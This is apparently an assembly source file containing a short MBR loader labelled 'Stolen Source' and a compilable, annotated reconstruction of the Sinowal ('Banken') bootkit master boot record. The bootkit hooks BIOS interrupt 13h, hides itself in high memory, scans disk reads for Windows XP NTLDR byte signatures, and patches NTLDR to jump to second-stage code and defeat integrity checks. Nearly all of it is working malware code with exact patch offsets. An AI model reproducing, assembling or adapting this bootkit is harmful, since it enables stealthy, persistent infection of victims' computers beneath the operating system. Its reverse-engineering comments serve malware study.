[Stolen Source]
; create 16 bit code and assembly only instructions up to 386 instruction set
[bits 16]
CPU 386
xor ax, ax
mov ss, ax
mov sp, 7C00h
sti
push ax
pop es
push ax
pop ds
push ds
pushad
cld
mov si, 7C1Bh
mov di, 61Bh
push ax
push di
mov cx, 1E5h
rep movsb
retf
xor bx,bx
mov es,bx ; segment 0
mov ax,0x201 ; function read sectors, read 1 sector
mov cx,10 ; read original boot code (sector 10), boot sector
mov dx,80h ; boot drive
mov bh,0x7c ; address 7C00h
int 13h
popad
pop ds
; execute original Master Boot Record
jmp word 0000h:7C00h
times 510-($-$$) db 0
Boot_Signature dw 0AA55h
[Original]
; Sinowal Bootkit
; called "Banken Rootkit" or referred as "Banken Trojaner"
; www.viennacomputerproducts.com/reverseengineering
; compilable version, Stoned-Project (www.stoned-vienna.com)
; - Attacking Windows XP
; - Memory resistent up to Windows Kernel
; - loads payload from hard disk
; create 16 bit code and assembly only instructions up to 386 instruction set
[bits 16]
CPU 386
; no origin used, this code is portable
cli
xor bx,bx
; set up a new clean stack
mov ss,bx
mov [ss:7BFEh],sp
mov sp,7BFEh
; store registers - will be later restored when executing original MBR
push ds
pushad
cld
; copy itself to end of memory
; BIOS Data Area: MEM 0040h:0013h - BASE MEMORY SIZE IN KBYTES
mov ds,bx
mov si,0x413 ; linear address of 0040h:0013h
sub [si],word 2 ; - 2048 kbytes, 4 sectors
lodsw
shl ax,6
mov es,ax ; es = address of free memory (2048 bytes)
mov si,7C00h
xor di,di
mov ecx,256 ; copy 512 bytes (the bootloader)
rep movsw
; read boot virus data! (appending the new memory to the moved bootloader sector)
mov ax,0x202 ; function read sectors, read 2 sectors
mov cl,61 ; sector 60, 2 data stuff sectors
mov dx,80h ; boot drive (default)
mov bx,di ; = pointer after the 512 copied bytes
int 13h
; hook int 13h
xor bx,bx
mov eax,[bx + 13h * 4] ; IVT, vector 13h
mov [bx + 13h * 4],word Interrupt_Vector_13_hook ; new address to jump to on "int 13h" instruction
mov [es:Interrupt_Vector_13_Return_Address + 3],eax ; store the old jump address
mov [bx + 13h * 4 + 2],es ; set segment to jump to on int 13h
; set address of copy
push es
push word Relocated_Bootloader
; ..and jump to copy
retf
Relocated_Bootloader:
; read original master boot record of Windows and execute it
sti
mov es,bx ; segment 0
mov ax,0x201 ; function read sectors, read 1 sector
mov cx,63 ; read original boot code (sector 62), boot sector
mov dx,80h ; boot drive
mov bh,0x7c ; address 7C00h
int 13h
; restore registers
popad
pop ds
pop sp
; execute original Master Boot Record
jmp word 0000h:7C00h
; now our background "service" starts, we get control only by int 13
; the code is now located at the end of memory (most likely 9F400h)
Interrupt_Vector_13_hook:
pushf ; Interrupt Vector 13 hook
; check if functions "Read" or "Extended Read" are requested
cmp ah,42h ; Extended Read?
jz Handle_Int13_Function
cmp ah,2h ; Read
jz Handle_Int13_Function ; ...or read!
popf
Interrupt_Vector_13_Return_Address:
; jump to the original Int 13h handler (segment:offset will be patched dynamical)
jmp word 0000h:0000h
Handle_Int13_Function:
; execute int 13h read
mov [cs:Int_Patch_Function_Number + 1],ah ; store function number (patch)
popf
pushf ; simulate "int 13h" instruction (store flags)
call [cs:Interrupt_Vector_13_Return_Address + 1] ; forward the read sector command and return here
jc Exit_Int13_hook_ret ; if error => exit to user
; set environment for int 13h hook handler
pushf
cli
push es
pushad ; push register contents, we modify it in our hook handler
cld
; load int 13h parameters set by user (and note normalize the param differences between normal read and extended read)
mov ah,0 ; transfered sectors (read: al, extended read: disk address packet.02h)
Int_Patch_Function_Number:
mov ch,0 ; restore function number (from the patch applied at @7A)
cmp ch,42h ; if extended read special load values
jnz Int_Params_normalized
Extended_Read_set_Disk_Address_Packet:
lodsw ; load values from disk address packet
lodsw ; +02h = [word] number of blocks to transfer
les bx,[si] ; +04h = transfer buffer
Int_Params_normalized:
test ax,ax ; ax = number of sectors transfered
jnz Int_Params_SectorCount_set
inc ax ; sector count = minimum 1
Int_Params_SectorCount_set:
; now scan the read buffer for the signature of ntldr
; ++ 8B F0 85 F6 74 21/22 80 3D
; ===> Windows XP.NTLDR +26B9Fh
mov cx,ax
shl cx,0x9 ; sectors * 512
mov al,0x8b ; scan byte
mov di,bx ; data buffer offset of sector
pusha
Scan_Read_Sector_loop:
repne scasb ; scan Bootloader for 8Bh
jnz NTLDR_delete_routine ; if not found ecx=0 => exit
nop
cmp [es:di],dword 0x74f685f0 ; check around signatures
jnz Scan_Read_Sector_loop ; if not matching => next try
cmp [es:di+0x5],word 0x3d80
jnz Scan_Read_Sector_loop ; if not matching => next try
mov al,[es:di+0x4]
cmp al,0x21
jz Found_File_to_Infect
cmp al,0x22
jnz Scan_Read_Sector_loop
Found_File_to_Infect:
mov si,20Bh
cmp [cs:si],byte 0 ; in virus data (2 sectors)
jnz NTLDR_delete_routine ; if already infected => exit
mov [cs:si],al ; mark as infected and set in missing code byte
; infect ntldr
mov [es:di-0x1],word 15FFh ; ntldr (the code which jumps to the pointer)
mov eax,cs
shl eax,4
add ax,0x200
mov [cs:0x1fc],eax ; set the pointer (this resides in ourself)
sub ax,0x4
mov [es:di+1],eax ; ntldr (the code which jumps to the pointer)
; 0x9F4DB INFECTION written to 46B9F on disk @ntldr.26B9Fh FF 15, opcode.call dword
; 0x9F4EB INFECTION written to 9F5FC on disk sector 0 at end pointer to PM code (* = memory.9F600h, disk.sector60)
; 0x9F4F3 INFECTION written to 46BA1 on disk @ntldr.26BA1h pointer to the pointer
; ; infected code in ntldr is now: @ntldr.26B9Fh
; 00046b9f: ( 32 Bit Code w ): call dword ptr ds:0x9f5fc ; ff15fcf50900
; 00046ba5: ( 32 Bit Code inv ): cmp byte ptr ds:0x43aef8, 0x00 ; 803df8ae430000
; 00046bac: ( 32 Bit Code inv ): jz .+0x00000007 ; 7407
; 00046bae: ( 32 Bit Code inv ): xor esi, esi ; 33f6
; 00046bb0: ( 32 Bit Code inv ): jmp .+0x00000255 ; e955020000
; ; and was original: @ntldr.26B9Fh
; 00046b9f: ( 32 Bit Code ): mov esi, eax ; 8bf0
; 00046ba1: ( 32 Bit Code ): test esi, esi ; 85f6
; 00046ba3: ( 32 Bit Code ): jz .+0x00000021 ; 7421
; 00046ba5: ( 32 Bit Code ): cmp byte ptr ds:0x43aef8, 0x00 ; 803df8ae430000
; 00046bac: ( 32 Bit Code ): jz .+0x00000007 ; 7407
; ; the infected code in the ntldr will be relocated to protected mode memory 0x00422a6f
; ; it will jump to 9F600h which is stage 2 (executed by ntldr)
; 00422a6f: ( ): call dword ptr ds:0x9f5fc ; ff15fcf50900
; scan the read buffer for a part of the ntldr
; ++ 83 C4 02 E9 00 00 E9 FD FF
; ===> Windows XP.NTLDR +1C81h
; ===> Windows XP.NTLDR +1C9Ch this is the real searched one
NTLDR_delete_routine:
popa
mov al,0x83
; *** PROGRAMMING ERROR ***
; *** EDI AND ECX ARE NOT RESETTED HERE, IF MICROSOFT WOULD READ NTLDR AT ONCE THIS WOULD FAIL ***
Scan_Sector_loop_2:
repne scasb
jnz Restore_Flags_and_exit ; if not found exit
cmp [es:di],dword 00E902C4h
jnz Scan_Sector_loop_2
cmp [es:di+0x4],dword 0FFFDE900h
jnz Scan_Sector_loop_2
mov [es:di-0x4],dword 83909090h ; set 3 bytes to instruction nop
and [es:di+0x6],word 0 ; modify jump operation, set highest byte to zero
jmp short Scan_Sector_loop_2 ; our signature occurs 2 times
; 1. @ntldr.1C81h
; ; memory dump, @ntldr.1C81h, memory.21c81
; 0x0000000000021c7e <bogus+ 0>: 0xe8 0x39 0x0c 0x83 0xc4 0x02 0xe9 0x00
; 0x0000000000021c86 <bogus+ 8>: 0x00 0xe9 0xfd 0xff
; ; memory disassembly, @ntldr.1C81h, memory.21c81
; 00021c7d: ( 32 Bit Code inv ): sbb eax, ebp ; 19e8 INVALID
; 00021c7f: ( 32 Bit Code ): cmp dword ptr ds:[ebx+eax*4], ecx ; 390c83
; 00021c82: ( 32 Bit Code ): les eax, ds:[edx] ; c402
; 00021c84: ( 32 Bit Code ): jmp .+0xfde90000 ; e90000e9fd
; ; modified memory dump
; 0x0000000000021c7e <bogus+ 0>: 0x90 0x90 0x90 0x83 0xc4 0x02 0xe9 0x00
; 0x0000000000021c86 <bogus+ 8>: 0x00 0xe9 0x00 0x00
; ; modified disassembly
; 00021c7e: ( ): nop ; 90
; 00021c7f: ( ): nop ; 90
; 00021c80: ( ): nop ; 90
; 00021c81: ( ): add esp, 0x00000002 ; 83c402
; 00021c84: ( ): jmp .+0x00e90000 ; e90000e900
; 2. @ntldr.1C9Ch
; ; memory dump, @ntldr.1C9Ch, memory.21c9c
; 0x0000000000021c99 <bogus+ 0>: 0xe8 0x1e 0x0c 0x83 0xc4 0x02 0xe9 0x00
; 0x0000000000021ca1 <bogus+ 8>: 0x00 0xe9 0xfd 0xff
; ; memory disassembly, @ntldr.1C9Ch, memory.21c9c
; 00021c98: ( 32 Bit Code inv ): sbb eax, ebp ; 19e8 INVALID
; 00021c9a: ( 32 Bit Code ): push ds ; 1e
; 00021c9b: ( 32 Bit Code ): or al, 0x83 ; 0c83
; 00021c9d: ( 32 Bit Code ): les eax, ds:[edx] ; c402
; 00021c9f: ( 32 Bit Code ): jmp .+0xfde90000 ; e90000e9fd
; ; modified memory dump
; 0x0000000000021c99 <bogus+ 0>: 0x90 0x90 0x90 0x83 0xc4 0x02 0xe9 0x00
; 0x0000000000021ca1 <bogus+ 8>: 0x00 0xe9 0x00 0x00
; ; modified disassembly
; 00021c99: ( 32 Bit Code ): nop ; 90
; 00021c9a: ( 32 Bit Code ): nop ; 90
; 00021c9b: ( 32 Bit Code ): nop ; 90
; 00021c9c: ( 32 Bit Code ): add esp, 0x00000002 ; 83c402
; 00021c9f: ( 32 Bit Code ): jmp .+0x00e90000 ; e90000e900
; the modification is done to bypass code integrity verification (even it's not evident from the patched lines)
Restore_Flags_and_exit: ; everything done, exit interrupt 13h hook
popad
pop es
popf
Exit_Int13_hook_ret:
retf 2 ; simulate "iretw" instruction, to preserve flags (especially flags.CF)
; language descriptions [unset]
times 1B5h-($-$$) db 0
; Microsoft Error linguistic messages [unused]
Error_Message_1_length db 0
Error_Message_2_length db 0
Error_Message_3_length db 0
; Microsoft Disk Signature
times 440-($-$$) db 0
disk_signature dd 00000000h ; will be set/corrected by infector
dw 0
; Partition Table, 16 bytes each entry
times 1BEh-($-$$) db 0
Partition_Table_Entry_1:
Partition_1_bootable db 80h ; default boot partition (MS Windows)
Partition_1_Start_CHS db 01, 01, 00
Partition_1_Type db 7 ; NTFS file system
Partition_1_End_CHS db 0FEh, 0BFh, 08h
Partition_1_Start_LBA dd 63 ; NTFS file system starts, boot sector
Partition_1_Sectors dd 8AB67Fh ; = 4 GB (9090687 * 512 / 1024 / 1024 / 1024)
Partition_Table_Entry_2:
Partition_2_bootable db 0
Partition_2_Start_CHS db 0, 0, 0
Partition_2_Type db 0
Partition_2_End_CHS db 0, 0, 0
Partition_2_Start_LBA dd 0
Partition_2_Sectors dd 0
Partition_Table_Entry_3:
Partition_3_bootable db 0
Partition_3_Start_CHS db 0, 0, 0
Partition_3_Type db 0
Partition_3_End_CHS db 0, 0, 0
Partition_3_Start_LBA dd 0
Partition_3_Sectors dd 0
Partition_Table_Entry_4:
Partition_4_bootable db 0
Partition_4_Start_CHS db 0, 0, 0
Partition_4_Type db 0
Partition_4_End_CHS db 0, 0, 0
Partition_4_Start_LBA dd 0
Partition_4_Sectors dd 0
; here -2 values from the boot signature we will store a pointer
times 510-($-$$) db 0
Boot_Signature dw 0AA55h